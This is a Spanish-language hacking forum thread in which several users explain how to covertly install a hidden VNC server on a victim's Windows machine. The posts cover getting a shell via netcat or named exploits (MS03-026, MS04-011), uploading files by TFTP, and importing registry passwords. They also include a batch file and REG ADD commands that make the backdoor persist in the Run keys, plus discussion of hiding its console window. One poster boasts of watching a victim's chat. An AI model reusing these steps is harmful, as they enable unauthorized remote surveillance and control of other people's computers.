Troyanizando VNC - Control Remoto Invisible

Iniciado por Gospel, 22 Septiembre 2004, 10:59 AM

0 Miembros y 2 Visitantes están viendo este tema.

zhyzura

ya que he visto bastantes problemas y a peticion de Gospel, me he decidido a volver a hacer pruebas con el vnc.

explico todo lo que hice a continuacion:

NOTA: los pc's que utilice para estas pruebas, nunca antes se les habia instalado el vnc, siendo yo el primero en hacerlo.



[PRIMERA PARTE]

lo primero que quise hacer fue realizar unas pruebas en dos pc's que yo tuviera acceso (una red)para ver como reaccionaban(ambos con winxp profesional) y ademas utilice el vnc que esta en las URL que acaba de poner Gospel.

1.- instale el vnc en mi maquina

2.- configure el winvnc (le puse el pass)

3.- cambie el winvnc.exe por el de notray icon(solo cambie el ejecutable)

4.- para comprobar que no iba a salir la ventanita de configurar el server en la maquina victima, primero lo ejecute en mi pc.... y no me salio ninguna pantalla, revise el administrador de tareas y efectivamente se estaba ejecutando.

5.- procedi a copiar lo archivos: omnithread_rt.dll(localizado e system32), WinVNC.exe y VNCHooks.dll (localizados en C:\Archivos de programa\ORL\VNC)

6.- coloque los archivos anteriores en la misma ubicacion, en la maquina de la victima.

7.- desde la shell ejecute el winvnc en la maquina victima:
c:\VNC>start WinVnc

8.- ahora abri el vncview que viene junto con el winvnc que instale en un principio(no me conectaba ya todos saben el rollo) despues utilice el vncview que viene junto con el winvnc que no muestra el icono(tampoco me conecto) y por ultimo utilice el vncview del cual puse la URL en un post anterior:
http://www.realvnc.com/dist/vnc-4.0-x86_win32_viewer.exe (y tampoco me conecto  :-\).

9.- como dije anteriormente, tengo acceso al otro pc, asi de que me dispuse a ir a observar que pasaba en la otra maquina ¡oh sorpresa!, estaba la ventana con la que configuramos el winvnc para ponerle la pass(por que tampoco tenia ninguna mostrando en ese momento)...

esto me llevo a una deduccion que mcchos de ustedes ya la habran hecho...El password que nosotros colocamos en nuestra pc, no se almacena en ningun archivo de los que le subimos a la victima y como todos sabemos el unico lugar que dejamos intacto fue el registro.

10.- Procedi a exportar todas las claves que encontre en el registro, las cuales utilizaba el vnc, fueron las siguientes(para entrar al registro es inicio> ejecutar> regedit. para buscar las claves utilice edicion> buscar y las palabras vnc y winvnc):

CitarHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit

CitarHKEY_USERS\S-1-5-21-2000478354-1085031214-1801674531-1003\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit

CitarHKEY_CURRENT_USER\Software\ORL

CitarHKEY_LOCAL_MACHINE\SOFTWARE\ORL

CitarHKEY_USERS\S-1-5-21-2000478354-1085031214-1801674531-1003\Software\ORL

CitarHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\VNC

Ahora tengo 6 archivos con extension .reg (los nombre vnc1, vnc2...vnc6)

11.- en la maquina que tenemos el server, cerre la ventana del vnc que tenia abierta, sin ponerle el password.

12.- manualmente le ejecute los archivos de registro que exporte anteriormente(jeje que tramposo soy  ;D)

13.- me fui a la shell remota y ejecute el winvnc.

14.- ahora utilice los dos vncview que vienen en las URL que puso Gospel y seguia sin funcionar, utilice el vncview del cual yo puse la URL descarga y ¡sorpresa! al poner la ip procedio a pedirme la contraseña y ¡CONECTO! :D, podia ver el escritorio remoto.






[SEGUNDA PARTE]

procedi a hacer las pruebas demostradas ahora en una maquina 100% remota a la cual solo tengo acceso a travez de una shell(yo en un pc conectado directamente a internet y el otro pc de un amigo en el cual ya tenia un netcat a la escuha xDDD), la shell corre con privilegios del usuario que la ejecuto(Administrador), y yo vuelvo a utilizar otro pc que aun no se le habia instalado ningun Vnc(otro pc limpio).

1.- instale el vnc en mi maquina

2.- configure el winvnc (le puse el pass)

3.- cambie el winvnc.exe por el de notray icon(solo cambie el ejecutable nuevamente  :D)

4.- para comprobar que no iba a salir la ventanita de configurar el server en la maquina victima, primero lo ejecute en mi pc(siempre me ha gustado comprobar).... y no me salio ninguna pantalla, revise el administrador de tareas y efectivamente se estaba ejecutando.

5.- procedi a copiar lo archivos: omnithread_rt.dll(localizado e system32), WinVNC.exe y VNCHooks.dll (localizados en C:\Archivos de programa\ORL\VNC)

6.- exporte nuevamente las claves del registro que cite anteriormente:

CitarHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit

CitarHKEY_USERS\S-1-5-21-2000478354-1085031214-1801674531-1003\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit

CitarHKEY_CURRENT_USER\Software\ORL

CitarHKEY_LOCAL_MACHINE\SOFTWARE\ORL

CitarHKEY_USERS\S-1-5-21-2000478354-1085031214-1801674531-1003\Software\ORL

CitarHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\VNC

7.- coloque los archivos anteriores en la misma ubicacion(los archivos de registro los puse junto con el WinVNC.exe y VNCHooks.dll) , en la maquina de la victima mediante el TFTP(creo que ya se explico bastante como funciona y no me quiero enrollar xDD)

8.- importe los archivos de registro que le subi a su propio registro, mediante la shell remota(recuerden que yo saque 6 archivos .reg):

c:\cd vnc
c:\vnc>reg import vnc1.reg
c:\vnc>reg import vnc2.reg
c:\vnc>reg import vnc3.reg
c:\vnc>reg import vnc4.reg
c:\vnc>reg import vnc5.reg
c:\vnc>reg import vnc6.reg


9.- ejecute el winvnc:
c:\vnc>start winvnc

10.- Abro mi vncview (utilice el cual yo puse la URL de descarga), coloco la ip (desabilito las opciones de interactuar con la victima) y me aparece otra pantalla pidiendome el password, lo coloco ¡BINGO! me conecto con la victima, ahora puedo ver su escritorio y lo que escribe en el msn xDDD.

11.- solo para asegurar que el vnc se ejecute a cada reiniciada pongo en la shell remota lo siguiente:
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Winvnc /t REG_SZ /d "C:\vnc\winvnc"

espero haberme explicado de la mejor manera, solo me queda esperar que Gospel haga pruebas en un medio diferente y ya veremos.

saludos

Sir_Neo

Ahi va mi manera:

- Consigo la shell remota dejando el netcat a la escucha en la victima.

- Instalo el winvnc en la makina del atacante.

- Le pongo el password. Cierro.

- Reemplazo el WinVnc no Tray por el normal.

- Cojo los ficheros WinVnc.exe, VNCHooks.dll (de ORL/VNC) y omnithread_rt.dll (de system32) y los coloco en una misma ubicación, por ejemplo "c:\h"

- Abro el regedit, busco winvnc, y encuentro una carpeta que tiene una clave llamada password. archivo -> exportar y le ponemos un nombre (ejempolo: vnc.reg). Lo colocamos en c:\h también.

- lanzamos el tftp32e.exe y le subimos los 4 ficheros estos en un mismo directorio. (en mi caso, en windows o system32, no ma cuerdo)

- ponemos "reg imort vnc.reg" y "start winvnc.exe".

- Luego ejecutamos en el atacante vncview, sale una ventanita pidiendo password (eso significa que hemos conectado), ponemos el pass y devuelve la pantalla.

- Tambien podemos añadir al registro para que se incie el winvnc cada vez q inicie la makina.

NOTA: No me ha hecho falta los demas registros.

NOTA2: Para no tener que llevarnos tanto tiempo con la shell abierta haciendo las cosas pertinentes, me tengo echo un bat con los comandos que hay que utilizar. Así solo subo el fichero bat, y una vez dentro, lo lanzamos, y todo listo en -1 segundo. jeje


Espero que os sirva de ayuda.

Suerte !!


Si juegas con el mejor, muere como los demás

http://www.lepeonline.net/

Gospel

Muy bien, muy bien... gracias por la ayuda perooooo.....

Ambos habéis utilizado una shell remota con privilegios de cierto usuario, pero habéis probado con exploits?? Estos devuelven la shell con privilegios de SYSTEM. No sé si es un detalle a tener en cuenta pero es q he atacado 4-5 equipos de mi red con exploits y no he tenido éxito al ejecutarles el winvnc...

Probad con exploits please.

Yo estoy en ello!!!

Salu2

Gracias por contestar tan pronto....

Gospel

Ok, ya he hecho mis pruebas y estos son los resultados...

Cómo ya venía pensando, el detalle de trabajar con una shell remota con privilegios de usuario o con privilegios de SYSTEM es un detalle a tener en cuenta!!!

A través del exploit DCOM (para MS03-026) o HODLsass (para MS04-011) consigo una shell remota con privilegios de SYSTEM en cierta víctima de mi red local.

Le subo 4 cosas: los 3 archivos del VNC + 1 vncreg.reg q contiene la entrada en regedit de la carpeta HKEY_CURRENT_USER\Software\ORL. No prob en esto...

A continuación, hay q agregar la información de la contraseña a su registro. Esto se hace con la instrucción "reg import vncreg.reg". Pues bien, desde una shell con privilegios de SYSTEM no te agrega la entrada!!!!!!
He comprobado q si es un shell con privilegios de usuario entonces te la agrega...

Bien, suponiendo q ya tenemos la información agregada en el registro. Si ejecutamos "start winvnc" desde una shell con privilegios de SYSTEM, te carga el winvnc pero da error Connection Failure al conectarte.
He comprobado q si ejecutas "start winvnc" desde una shell con privilegios de usuario, te carga el winvnc y te puedes conectar con éxito con el vncviewer.

Nota: Ejecutar programas desde una shell con privilegios de SYSTEM es una *****. Si ejecutas calc, se te añade a la lista de procesos en ejecución (como SYSTEM), pero en la pantalla no te aparece la calculadora. (Si lo haces desde una shell con privilegios de usuario, entonces sí que se abre...)

Bueno, me he puesto a pensar y el dilema se encuentra ahora en q, una vez q tengo subidos los archivos a la víctima, ¿cómo ejecuto las operaciones "reg import vncreg.reg" y "start winvnc" con privilegios de usuario (y no de SYSTEM)??

He probado con el comando runas, para ver si podía ejecutar estas dos operaciones como usuario de cierta cuenta, pero me pide contraseña y además, no me deja introducirla. FRACASO...

He probado a agregar una clave al registro q al iniciar Windows ejecute "reg import vncreg.reg" pero me da error de sintaxis. Es decir, no pongo bien el comando a ejecutar... alguna idea??
Sin embargo, creo q es posible agregar entradas al registro desde una shell con privilegios de SYSTEM pq al ejecutar:

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Winvnc /t REG_SZ /d "C:\WINDOWS\system32\winvnc"

SI q me añadió la clave y, de hecho, al iniciar Windows sale la ventana de propiedades de winvnc pidiéndome la contraseña ^_^


Resumiendo, podemos agregar claves de registro con REG ADD, pero no con REG import vncreg.reg!!!

Alguna idea...

Animo gente q esto lo sacamos...  8)

Salu2

Gospel

Buah, soy la hostia.... no contaban con mi astucia!!

Ya q me he dao cuenta de q podía añadir claves de registro con REG ADD, pero no así con reg import, he pensao.... ¿pq no añadir las claves a pelo con un bat?
Pero claroooo... desde un cuenta SYSTEM no se pueden añadir claves de registro en HKEY_CURRENT_USER\, aunq sí en HKEY_LOCAL_MACHINE\. Como necesitamos crear las claves de inicio del Winvnc en HKEY_CURRENT_USER\, no podemos hacerlo desde esta shell remota y la cosa va a resultar algo más enrevesada...

Procedimiento:

1) Copiar el siguiente bat desde la shell remota con privilegios de SYSTEM y guardarlo en c:\WINDOWS\system32\addreg.bat

REG ADD HKEY_CURRENT_USER\Software\ORL
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v AutoPortSelect /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v InputsEnabled /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollConsole /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollOnEvent /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t REG_BINARY /d 32149bb09b18f887 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollForeground /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollFullScreen /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollUnderCursor /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v SocketConnect /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Winvnc /t REG_SZ /d "C:\WINDOWS\system32\winvnc"
start c:\WINDOWS\system32\winvnc.exe


2) Añadir una clave al registro para q cargue este bat cuando el usuario inicie Windows, de esta forma sí q tendrá privilegios para crear claves en HKEY_CURRENT_USER\. Recuerdo q por ahora sólo estamos en disposición de añadir claves en HKEY_LOCAL_MACHINE\, asi q ejecutamos la siguiente línea de comandos desde la shell remota:

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Load /t REG_SZ /d "C:\WINDOWS\system32\addreg.bat"

3) Cuando el usuario reinicie el ordenador e inicie Windows, será un canteo, ya q aparecerá una ventana de msdos ejecutando en secuencia los comandos del archivo addreg.bat.

   - Primero, creará la carpeta ORL en el registro
   - Segundo, añadirá todas las claves de configuración del servidor VNC
   - Tercero, añadirá una clave de inicio en /Run para q VNC se ejecute con cada reinicio
   - Cuarto, ejecutará "start c:\WINDOWS\system32\winvnc.exe", esta vez sí, con privilegios de usuario!

Lo he probado y funciona...

Bueno, es un gran paso no creéis. Ahora sólo tenemos q preocuparnos de ocultar esa ejecución del *.bat. Lo primero q me ha venido a la cabeza es programar un pequeño código en c q ejecute todos esos comandos de msdos llamando a System(). Sin embargo, no sé cómo ocultarlo...
Es algo q llevo queriendo hacer desde hace tiempo. Incluso postee mi duda en la sección de Programación pero no me ayudaron lo suficiente :( ->

-> Ocultar programa Reverse Shell
http://foro.elhacker.net/index.php/topic,41470.0.html


Bueno, como véis esto avanza... Animooooo, más ideas???

Salu2

PD: Está qdando un hilo bastante l33t, a q sí??

Gospel

Un apunte.

Cuando creas un nuevo archivo desde una shell remota con privilegios de SYSTEM lo crea como "archivo de sólo lectura" y no lo puedes luego borrar. Te dice acceso denegado...

La verdad, esta noche he comprobado q las shell remotas q devuelven los exploits no son tan "geniales" como pensaba...  :(

Hala, hala... a seguir con esto...

Salu2

zhyzura

que no se supone que si agregamos un 'echo off' al principio de archivo bat, hace todo de manera promiscua?

Gospel

hmm... "echo off". Vale, creo q así no se ven los comandos en sí, pero la ventana de ejecución de msdos sigue apareciendo, no??? Es decir, aparece la ventana toda negra...

Creooooooo... de todas formas, mañana pruebo!

Juas.... llevo 1 hora esperando a q contestes y me sueltas 1 frase!!!  ::) Ajum, esperaba un texto algo más extenso ;)

Bueno, mañana más y mejor.

Salu2

zhyzura

si te cuento todo lo que me paso en estos momentos(tuve que cerrar el explorador con mi sesion abierta)....

ya te iba a contestar despues de que tu pusiste que ocupabas mas opiniones (luego te mando un IM para contarte mi tragedia xDD).

yo tenia planeado poner todo lo que pusiste en el bat directamente en la shell remota, pero como ya sabes no funcionaba.
:P